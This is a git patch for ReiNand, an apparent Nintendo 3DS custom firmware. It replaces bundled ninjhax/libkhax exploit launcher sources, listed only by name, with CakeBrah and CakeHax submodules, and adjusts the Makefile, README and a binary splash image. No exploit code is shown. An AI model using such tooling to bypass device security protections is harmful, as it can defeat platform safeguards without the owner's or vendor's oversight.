From 6a2c30503d7f5f2697660dac103620eb20e77605 Mon Sep 17 00:00:00 2001 From: Reisyukaku Date: Sat, 16 Jan 2016 07:57:56 -0500 Subject: [PATCH] Got rid of sysnand mode, add key gen code, new splash screen, autoboot, update fatfs, removed ninjhax/mset folder for CakeBrah/CakeHax, lots of minor changes. --- .gitignore | 3 +- .gitmodules | 9 +- CakeBrah | 1 + CakeHax | 1 + Makefile | 28 +- README.md | 2 + data/splash.bin | Bin 288000 -> 288000 bytes ninjhax/icon.png => icon.png | Bin mset | 1 - ninjhax/.gitignore | 6 - ninjhax/.gitmodules | 3 - ninjhax/Makefile | 179 --- ninjhax/README-brahma | 121 -- ninjhax/README.md | 23 - ninjhax/include/brahma.h | 27 - ninjhax/include/exploitdata.h | 189 --- ninjhax/include/hid.h | 4 - ninjhax/include/utils.h | 8 - ninjhax/source/arm11.s | 173 --- ninjhax/source/brahma.c | 380 ------ ninjhax/source/hid.c | 27 - ninjhax/source/libkhax/LICENSE | 22 - ninjhax/source/libkhax/demo/Makefile | 177 --- ninjhax/source/libkhax/demo/ctrklib.sln | 22 - ninjhax/source/libkhax/demo/ctrklib.vcxproj | 82 -- .../libkhax/demo/ctrklib.vcxproj.filters | 36 - ninjhax/source/libkhax/demo/main.c | 139 -- ninjhax/source/libkhax/khax.h | 16 - ninjhax/source/libkhax/khaxinit.cpp | 1140 ----------------- ninjhax/source/libkhax/khaxinternal.h | 337 ----- ninjhax/source/main.c | 30 - ninjhax/source/utils.s | 38 - ninjhax/tools/client.py | 22 - source/crypto.c | 119 +- source/crypto.h | 5 +- source/draw.c | 1 + source/fatfs/diskio.c | 33 +- source/fatfs/ffconf.h | 2 +- source/fatfs/sdmmc/delay.s | 28 +- source/fatfs/sdmmc/sdmmc.c | 947 ++++++++------ source/fatfs/sdmmc/sdmmc.h | 197 +-- source/firm.c | 65 +- source/firm.h | 2 +- source/main.c | 9 +- source/memory.c | 35 +- source/memory.h | 8 +- source/patches.c | 128 +- source/patches.h | 12 +- thread/source/lib.c | 4 +- thread/source/thread.c | 6 +- 50 files changed, 822 insertions(+), 4025 deletions(-) create mode 160000 CakeBrah create mode 160000 CakeHax rename ninjhax/icon.png => icon.png (100%) delete mode 160000 mset delete mode 100644 ninjhax/.gitignore delete mode 100644 ninjhax/.gitmodules delete mode 100644 ninjhax/Makefile delete mode 100644 ninjhax/README-brahma delete mode 100644 ninjhax/README.md delete mode 100644 ninjhax/include/brahma.h delete mode 100644 ninjhax/include/exploitdata.h delete mode 100644 ninjhax/include/hid.h delete mode 100644 ninjhax/include/utils.h delete mode 100644 ninjhax/source/arm11.s delete mode 100644 ninjhax/source/brahma.c delete mode 100644 ninjhax/source/hid.c delete mode 100644 ninjhax/source/libkhax/LICENSE delete mode 100644 ninjhax/source/libkhax/demo/Makefile delete mode 100644 ninjhax/source/libkhax/demo/ctrklib.sln delete mode 100644 ninjhax/source/libkhax/demo/ctrklib.vcxproj delete mode 100644 ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters delete mode 100644 ninjhax/source/libkhax/demo/main.c delete mode 100644 ninjhax/source/libkhax/khax.h delete mode 100644 ninjhax/source/libkhax/khaxinit.cpp delete mode 100644 ninjhax/source/libkhax/khaxinternal.h delete mode 100644 ninjhax/source/main.c delete mode 100644 ninjhax/source/utils.s delete mode 100644 ninjhax/tools/client.py diff --git a/.gitignore b/.gitignore index 9385025..3707677 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,8 @@ build.bat data/firmware.bin out -mset +CakeHax +CakeBrah rnInstaller build *.bin diff --git a/.gitmodules b/.gitmodules index 264738e..41f0849 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ -[submodule "mset"] - path = mset - url = https://github.com/Reisyukaku/mset +[submodule "CakeBrah"] + path = CakeBrah + url = https://github.com/mid-kid/CakeBrah +[submodule "CakeHax"] + path = CakeHax + url = https://github.com/mid-kid/CakeHax diff --git a/CakeBrah b/CakeBrah new file mode 160000 index 0000000..aca4aa7 --- /dev/null +++ b/CakeBrah @@ -0,0 +1 @@ +Subproject commit aca4aa7d3b3d2d195788c0b2555b307fbac63a7f diff --git a/CakeHax b/CakeHax new file mode 160000 index 0000000..6b8fca0 --- /dev/null +++ b/CakeHax @@ -0,0 +1 @@ +Subproject commit 6b8fca0b37a370a605f76b34b133da91a0b40f5e diff --git a/Makefile b/Makefile index f9c661a..3ba7bd9 100644 --- a/Makefile +++ b/Makefile @@ -12,18 +12,20 @@ ifneq ($(PYTHON_VER_MAJOR), 3) PYTHON3 := py -3 endif +name := ReiNand + dir_source := source dir_data := data dir_build := build -dir_mset := mset +dir_mset := CakeHax dir_out := out dir_emu := emunand dir_thread := thread -dir_ninjhax := ninjhax +dir_ninjhax := CakeBrah ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te -CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main -FLAGS := dir_out=$(abspath $(dir_out)) +CFLAGS := -Wall -Wextra -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main +FLAGS := name=$(name).dat dir_out=$(abspath $(dir_out)) ICON=$(abspath icon.png) --no-print-directory objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \ $(patsubst $(dir_source)/%.c, $(dir_build)/%.o, \ @@ -34,7 +36,7 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \ all: launcher emunand thread ninjhax .PHONY: launcher -launcher: $(dir_out)/ReiNand.dat +launcher: $(dir_out)/$(name).dat .PHONY: emunand emunand: $(dir_out)/rei/emunand/emunand.bin @@ -43,7 +45,7 @@ emunand: $(dir_out)/rei/emunand/emunand.bin thread: $(dir_out)/rei/thread/arm9.bin .PHONY: ninjhax -ninjhax: $(dir_out)/3ds/ReiNand +ninjhax: $(dir_out)/3ds/$(name) .PHONY: clean clean: @@ -51,16 +53,16 @@ clean: @$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean rm -rf $(dir_out) $(dir_build) -.PHONY: $(dir_out)/ReiNand.dat -$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/ +.PHONY: $(dir_out)/$(name).dat +$(dir_out)/$(name).dat: $(dir_build)/main.bin $(dir_out)/rei/ @$(MAKE) $(FLAGS) -C $(dir_mset) launcher dd if=$(dir_build)/main.bin of=$@ bs=512 seek=144 -$(dir_out)/3ds/ReiNand: - @mkdir -p "$(dir_out)/3ds/ReiNand" - @$(MAKE) -C $(dir_ninjhax) - @cp -av $(dir_ninjhax)/ReiNand.3dsx $@ - @cp -av $(dir_ninjhax)/ReiNand.smdh $@ +$(dir_out)/3ds/$(name): + @mkdir -p "$(dir_out)/3ds/$(name)" + @$(MAKE) $(FLAGS) -C $(dir_ninjhax) + @mv $(dir_out)/$(name).3dsx $@ + @mv $(dir_out)/$(name).smdh $@ $(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin @mkdir -p "$(dir_out)/rei" diff --git a/README.md b/README.md index 651e10a..8a82026 100644 --- a/README.md +++ b/README.md @@ -37,4 +37,6 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A Normmatt for sdmmc.c and generally being helpful! Me (Rei) for coding everything else. + + The community for your support and help! \ No newline at end of file diff --git a/data/splash.bin b/data/splash.bin index c822561d03162c6d6ccc1b7b31cd18a8f668b60e..17c09b84cf1a6fd711068aac9a6ac812af893a37 100644 GIT binary patch literal 288000 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 